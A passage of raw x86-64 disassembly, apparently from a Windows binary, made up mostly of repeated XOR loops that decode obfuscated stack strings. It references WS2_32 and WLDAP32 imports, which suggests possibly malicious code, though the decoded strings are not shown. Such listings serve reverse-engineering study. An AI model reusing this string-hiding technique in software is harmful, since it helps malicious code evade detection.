mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2de0], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2de1], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2de2], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2de3], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2de4], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2de5], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2de6], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2de7], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2de8], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2de9], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x2dea], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x2deb], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x2dec], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x2ded], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2dee], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2def], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2df0], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2df1], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2df2], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2df3], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x2df4], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x2df5], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x2df6], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x2df7], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x2df8], al
add r10d, 0x1b
cmp r10d, 0x51
jl 0x1400f4c61
lea rdx, [rsp + 0x2dde]
lea rcx, [rsp + 0x11e8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bed20]
vmovups ymmword [rsp + 0x2cfe], ymm0
vmovups ymm1, ymmword [0x1401bed40]
vmovups ymmword [rsp + 0x2d1e], ymm1
movzx eax, word [0x1401bed60]
mov word [rsp + 0x2d3e], ax
xor r10d, r10d
nop dword [rax]
movsxd r9, r10d
mov eax, 0x4d4873ed
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r9 + 0x2cfe], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r9 + 0x2cff], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r9 + 0x2d00], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r9 + 0x2d01], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r9 + 0x2d02], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r9 + 0x2d03], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r9 + 0x2d04], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r9 + 0x2d05], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r9 + 0x2d06], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r9 + 0x2d07], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r9 + 0x2d08], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r9 + 0x2d09], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r9 + 0x2d0a], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r9 + 0x2d0b], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r9 + 0x2d0c], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r9 + 0x2d0d], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r9 + 0x2d0e], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r9 + 0x2d0f], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r9 + 0x2d10], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r9 + 0x2d11], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r9 + 0x2d12], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r9 + 0x2d13], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r9 + 0x2d14], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r9 + 0x2d15], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r9 + 0x2d16], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r9 + 0x2d17], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r9 + 0x2d18], al
lea ecx, [r8 + 0x19]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r9 + 0x2d19], al
lea ecx, [r8 + 0x1a]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r9 + 0x2d1a], al
lea ecx, [r8 + 0x1b]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x54
xor byte [rsp + r9 + 0x2d1b], al
lea ecx, [r8 + 0x1c]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x55
xor byte [rsp + r9 + 0x2d1c], al
lea ecx, [r8 + 0x1d]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x56
xor byte [rsp + r9 + 0x2d1d], al
lea ecx, [r8 + 0x1e]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x57
xor byte [rsp + r9 + 0x2d1e], al
add r10d, 0x21
cmp r10d, 0x42
jl 0x1400f5150
lea rdx, [rsp + 0x2cfe]
lea rcx, [rsp + 0x1208]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bed68]
vmovups ymmword [rsp + 0x2c7e], ymm0
vmovups xmm1, xmmword [0x1401bed88]
vmovups xmmword [rsp + 0x2c9e], xmm1
vmovsd xmm0, qword [0x1401bed98]
vmovsd qword [rsp + 0x2cae], xmm0
mov eax, dword [0x1401beda0]
mov dword [rsp + 0x2cb6], eax
movzx eax, word [0x1401beda4]
mov word [rsp + 0x2cba], ax
movzx eax, byte [0x1401beda6]
mov byte [rsp + 0x2cbc], al
xor r10d, r10d
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2c7e], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2c7f], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2c80], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2c81], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2c82], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2c83], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2c84], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2c85], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2c86], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2c87], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2c88], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2c89], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x2c8a], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x2c8b], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x2c8c], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x2c8d], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2c8e], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2c8f], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2c90], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2c91], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2c92], al
add r10d, 0x15
cmp r10d, 0x3f
jl 0x1400f5770
lea rdx, [rsp + 0x2c7e]
lea rcx, [rsp + 0x1228]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401beda8]
vmovups ymmword [rsp + 0x2bc9], ymm0
vmovups xmm1, xmmword [0x1401bedc8]
vmovups xmmword [rsp + 0x2be9], xmm1
vmovsd xmm0, qword [0x1401bedd8]
vmovsd qword [rsp + 0x2bf9], xmm0
movzx eax, word [0x1401bede0]
mov word [rsp + 0x2c01], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x2c03], al
xor r8d, r8d
lea r9, [rsp + 0x2bc9]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x1400f5b80
lea rdx, [rsp + 0x2bc9]
lea rcx, [rsp + 0x1248]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups xmm0, xmmword [0x1401bede8]
vmovups xmmword [rsp + 0x2a], xmm0
mov eax, dword [0x1401bedf8]
mov dword [rsp + 0x3a], eax
movzx ecx, byte [0x1401bedfc]
mov byte [rsp + 0x2a], reloc.WS2_32.dll_WSAStartup
xor byte [rsp + 0x2b], 0x38
xor byte [rsp + 0x2c], 0x39
xor byte [rsp + 0x2d], 0x3a
xor byte [rsp + 0x2e], 0x3b
xor byte [rsp + 0x2f], 0x3c
xor byte [rsp + 0x30], 0x3d
xor byte [rsp + 0x31], 0x3e
xor byte [rsp + 0x32], 0x3f
xor byte [rsp + 0x33], 0x40
xor byte [rsp + 0x34], 0x41
xor byte [rsp + 0x35], 0x42
xor byte [rsp + 0x36], 0x43
xor byte [rsp + 0x37], 0x44
xor byte [rsp + 0x38], 0x45
xor byte [rsp + 0x39], 0x46
xor al, 0x47
mov byte [rsp + 0x3a], al
xor byte [rsp + 0x3b], 0x48
xor byte [rsp + 0x3c], 0x49
xor byte [rsp + 0x3d], 0x4a
xor cl, 0x4b
mov byte [rsp + 0x3e], cl
lea rdx, [rsp + 0x2a]
lea rcx, [rsp + 0x1268]
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups xmm0, xmmword [0x1401bee00]
vmovups xmmword [rsp + 0x3f], xmm0
mov eax, dword [0x1401bee10]
mov dword [rsp + 0x4f], eax
movzx eax, word [0x1401bee14]
mov word [rsp + 0x53], ax
lea rdx, [rsp + 0x3f]
lea rcx, [rsp + 0x1288]
cmp byte [0x1401bee15], 0
je 0x1400f5d1f
mov byte [rsp + 0x3f], reloc.WS2_32.dll_WSAStartup
xor byte [rsp + 0x40], 0x38
xor byte [rsp + 0x41], 0x39
xor byte [rsp + 0x42], 0x3a
xor byte [rsp + 0x43], 0x3b
xor byte [rsp + 0x44], 0x3c
xor byte [rsp + 0x45], 0x3d
xor byte [rsp + 0x46], 0x3e
xor byte [rsp + 0x47], 0x3f
xor byte [rsp + 0x48], 0x40
xor byte [rsp + 0x49], 0x41
xor byte [rsp + 0x4a], 0x42
xor byte [rsp + 0x4b], 0x43
xor byte [rsp + 0x4c], 0x44
xor byte [rsp + 0x4d], 0x45
xor byte [rsp + 0x4e], 0x46
xor byte [rsp + 0x4f], 0x47
xor byte [rsp + 0x50], 0x48
xor byte [rsp + 0x51], 0x49
xor byte [rsp + 0x52], 0x4a
xor byte [rsp + 0x53], 0x4b
xor byte [rsp + 0x54], 0x4c
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups xmm0, xmmword [0x1401bee18]
vmovups xmmword [rsp + 0x88], xmm0
vmovsd xmm0, qword [0x1401bee28]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
vmovsd qword [rsp + 0x98], xmm0
mov byte [rsp + 0x88], WSAStartup
xor byte [rsp + 0x89], 0x38
xor byte [rsp + 0x8a], 0x39
xor byte [rsp + 0x8b], 0x3a
xor byte [rsp + 0x8c], 0x3b
xor byte [rsp + 0x8d], 0x3c
xor byte [rsp + 0x8e], 0x3d
xor byte [rsp + 0x8f], 0x3e
xor byte [rsp + 0x90], 0x3f
xor byte [rsp + 0x91], 0x40
xor byte [rsp + 0x92], 0x41
xor byte [rsp + 0x93], 0x42
xor byte [rsp + 0x94], 0x43
xor byte [rsp + 0x95], 0x44
xor byte [rsp + 0x96], 0x45
xor byte [rsp + 0x97], 0x46
xor byte [rsp + 0x98], 0x47
xor byte [rsp + 0x99], 0x48
xor byte [rsp + 0x9a], 0x49
xor byte [rsp + 0x9b], 0x4a
xor byte [rsp + 0x9c], 0x4b
xor byte [rsp + 0x9d], 0x4c
xor byte [rsp + 0x9e], 0x4d
xor byte [rsp + 0x9f], 0x4e
xor al, 0x4f
mov byte [rsp + 0xa0], al
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x12a8]
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups xmm0, xmmword [0x1401bee38]
vmovups xmmword [rsp + 0xd3], xmm0
vmovsd xmm0, qword [0x1401bee48]
vmovsd qword [rsp + 0xe3], xmm0
movzx eax, word [0x1401bee50]
mov word [rsp + 0xeb], ax
cmp byte [0x1401bee51], 0
je 0x1400f5f49
mov byte [rsp + 0xd3], WSAStartup
xor byte [rsp + 0xd4], 0x38
xor byte [rsp + 0xd5], 0x39
xor byte [rsp + 0xd6], 0x3a
xor byte [rsp + 0xd7], 0x3b
xor byte [rsp + 0xd8], 0x3c
xor byte [rsp + 0xd9], 0x3d
xor byte [rsp + 0xda], 0x3e
xor byte [rsp + 0xdb], 0x3f
xor byte [rsp + 0xdc], 0x40
xor byte [rsp + 0xdd], 0x41
xor byte [rsp + 0xde], 0x42
xor byte [rsp + 0xdf], 0x43
xor byte [rsp + 0xe0], 0x44
xor byte [rsp + 0xe1], 0x45
xor byte [rsp + 0xe2], 0x46
xor byte [rsp + 0xe3], 0x47
xor byte [rsp + 0xe4], 0x48
xor byte [rsp + 0xe5], 0x49
xor byte [rsp + 0xe6], 0x4a
xor byte [rsp + 0xe7], 0x4b
